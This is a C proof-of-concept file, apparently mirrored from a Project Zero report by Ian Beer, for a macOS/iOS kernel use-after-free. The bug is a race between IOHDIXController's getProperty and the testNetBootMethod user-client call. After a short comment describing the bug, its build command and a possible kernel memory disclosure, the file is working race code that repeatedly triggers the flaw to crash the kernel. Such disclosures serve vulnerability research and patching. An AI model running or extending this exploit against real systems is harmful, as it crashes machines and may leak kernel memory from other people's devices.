133 lines
No EOL
4.2 KiB
C
133 lines
No EOL
4.2 KiB
C
/*
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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=732
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This is perhaps a more interesting UaF than just racing testNetBootMethod calls as there looks to be a path to getting free'd memory disclosed back to userspace.
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Although the copyProperty macro used by is_io_registry_entry_get_property_bin takes the entry's properties lock before reading and
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taking a reference on the property the testNetBootMethod external method directly calls the overriden setProperty without
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taking that same lock. ::setProperty calls ::release on all the properties before nulling them out then replacing them
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with new objects - we can get a UAF if we can get that ::release call to happen before the ::retain in copyProperty.
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This PoC will crash as a UaF but with more care I believe you could get the OSSerialize to serialize an invalid object
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leading to a nice kernel memory disclosure.
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Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2
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*/
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//ianbeer
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//build: clang -o hdix_race_get_set hdix_race_get_set.c -framework IOKit -framework Foundation -lpthread
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/*
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OS X/iOS kernel UAF racing getProperty on IOHDIXController and testNetBootMethod on IOHDIXControllerUserClient
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This is perhaps a more interesting UaF than just racing testNetBootMethod calls as there looks to be a path to getting free'd memory disclosed back to userspace.
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Although the copyProperty macro used by is_io_registry_entry_get_property_bin takes the entry's properties lock before reading and
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taking a reference on the property the testNetBootMethod external method directly calls the overriden setProperty without
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taking that same lock. ::setProperty calls ::release on all the properties before nulling them out then replacing them
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with new objects - we can get a UAF if we can get that ::release call to happen before the ::retain in copyProperty.
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This PoC will crash as a UaF but with more care I believe you could get the OSSerialize to serialize an invalid object
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leading to a nice kernel memory disclosure.
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Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <unistd.h>
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#include <IOKit/IOKitLib.h>
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#include <libkern/OSAtomic.h>
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#include <mach/thread_act.h>
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#include <pthread.h>
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#include <mach/mach.h>
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#include <mach/vm_map.h>
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#include <sys/mman.h>
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#include <CoreFoundation/CoreFoundation.h>
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unsigned int selector = 0;
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uint64_t inputScalar[16];
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size_t inputScalarCnt = 0;
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uint8_t inputStruct[4096];
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size_t inputStructCnt = 0;
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uint64_t outputScalar[16] = {0};
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uint32_t outputScalarCnt = 0;
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char outputStruct[4096] = {0};
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size_t outputStructCnt = 0;
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io_connect_t global_conn = MACH_PORT_NULL;
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void set_params(io_connect_t conn){
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char* payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
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global_conn = conn;
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selector = 4;
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inputScalarCnt = 0;
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inputStructCnt = strlen(payload)+1;
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strcpy((char*)inputStruct, payload);
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outputScalarCnt = 0;
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outputStructCnt = 0;
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}
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void make_iokit_call(){
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IOConnectCallMethod(
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global_conn,
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selector,
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inputScalar,
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inputScalarCnt,
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inputStruct,
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inputStructCnt,
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outputScalar,
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&outputScalarCnt,
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outputStruct,
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&outputStructCnt);
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}
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OSSpinLock lock = OS_SPINLOCK_INIT;
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void* thread_func(void* arg){
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for(;;) {
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int got_it = 0;
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while (!got_it) {
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got_it = OSSpinLockTry(&lock);
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}
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make_iokit_call();
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}
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return NULL;
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}
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int main(int argc, char** argv){
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kern_return_t err;
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OSSpinLockLock(&lock);
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pthread_t t;
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pthread_create(&t, NULL, thread_func, NULL);
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mach_port_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
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IOServiceMatching("IOHDIXController"));
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mach_port_t conn = MACH_PORT_NULL;
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IOServiceOpen(service, mach_task_self(), 0, &conn);
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set_params(conn);
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for(;;) {
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OSSpinLockUnlock(&lock);
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CFTypeRef p = IORegistryEntryCreateCFProperty(service,
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CFSTR("di-root-image-result"),
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kCFAllocatorDefault,
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0);
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}
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return 0;
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} |